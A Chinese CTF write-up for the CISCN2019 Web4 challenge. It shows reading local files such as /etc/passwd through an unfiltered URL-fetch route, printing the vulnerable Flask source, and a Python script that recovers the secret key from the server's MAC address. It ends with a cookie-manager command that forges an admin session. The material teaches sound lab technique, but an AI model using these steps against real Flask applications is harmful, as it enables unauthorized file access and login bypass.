# [CISCN2019 华东南赛区] Web4

1

打开有一个链接,那先点击一下

2

发现 url 处,很像命令执行,试一试。发现无论是什么都是 no response,又是各种尝试

3

发现直接传?url=/etc/passwwd 可以爆出回显,难道不是命令执行,是代码执行

先尝试一下目录穿越,发现 flag 被禁了4

又是一波各种尝试,最后发现 app/appp.py 处可以获得源码。

这里记一点:url/read?id=xxxx 这种在 url 和参数中间又会有一段字符串的,可以考虑是写了路由,不是 php 后端,可能是 python 后端

这点非常重要,帮助我们判断后端语言进行下一步,源码的读取等多种操作

其实这里猜想了可能是 flask,因为抓包看到了 session,格式很像 flask 的格式

*1*|***1*** 代码审计

# encoding:utf-8
import re, random, uuid, urllib
from flask import Flask, session, request

app = Flask(__name__)
random.seed(uuid.getnode())
app.config['SECRET_KEY'] = str(random.random()*233)
app.debug = True

@app.route('/')
def index():
    session['username'] = 'www-data'
    return 'Hello World! <a href="/read?url=https://baidu.com">Read somethings</a>'

@app.route('/read')
def read():
    try:
        url = request.args.get('url')
        m = re.findall('^file.*', url, re.IGNORECASE)
        n = re.findall('flag', url, re.IGNORECASE)
        if m or n:
            return 'No Hack'
        res = urllib.urlopen(url)
        return res.read()
    except Exception as ex:
        print str(ex)
    return 'no response'

@app.route('/flag')
def flag():
    if session and session['username'] == 'fuck':
        return open('/flag.txt').read()
    else:
        return 'Access denied'

if __name__=='__main__':
    app.run(
        debug=True,
        host="0.0.0.0"
    )

flag 路由意思是只要伪造了 session 登陆即可获得 flag 内容,那么我们伪造 session,首先要获取密钥,在代码中也有,我们先看看 uuid.getnode () 有什么用

5

意思就是获取 mac 地址

linux 下 mac 地址的位置:/sys/class/net/eth0/address

读取获得 mac 地址

然后他采取的是伪随机数的方式,我们按他的同样使用,编写 exp

*1*|***2***exp

import random

mac="02:42:ae:00:4b:75 "
nmac=mac.replace(":", "")
random.seed(int(nmac,16))
key = str(random.random() * 233)
print(key)

这里又是几个坑点,一定要用 python2 环境执行,因为靶机使用的是 python2 环境,其会对后面的小数自动约分,所以需要使用 python2 执行的数字

6

然后我使用过几次 flask-session-cookie-manager-master 发现,解密与加密需要使用固定的格式不然会报错,以此为例:

7

解密出来的字符串不能直接更改值,需要改为键值的格式

"{'username':'fuck'}"

payload: python flask_session_cookie_manager3.py encode -s 63.5983416128 -t "{'username':'fuck'}"

使用此 session 在 flag 路由下访问即可获得 flag

总结思路

  • 发现 url 格式采用了路由的访问形式确认是 python 后端
  • 查看 session 很像 flask,基本确定是 flask 框架
  • 通过工具解密 session 伪造 session 登陆

知识点

  • flask
  • 伪造 session

参考链接:https://www.cnblogs.com/karsa/p/13529769.html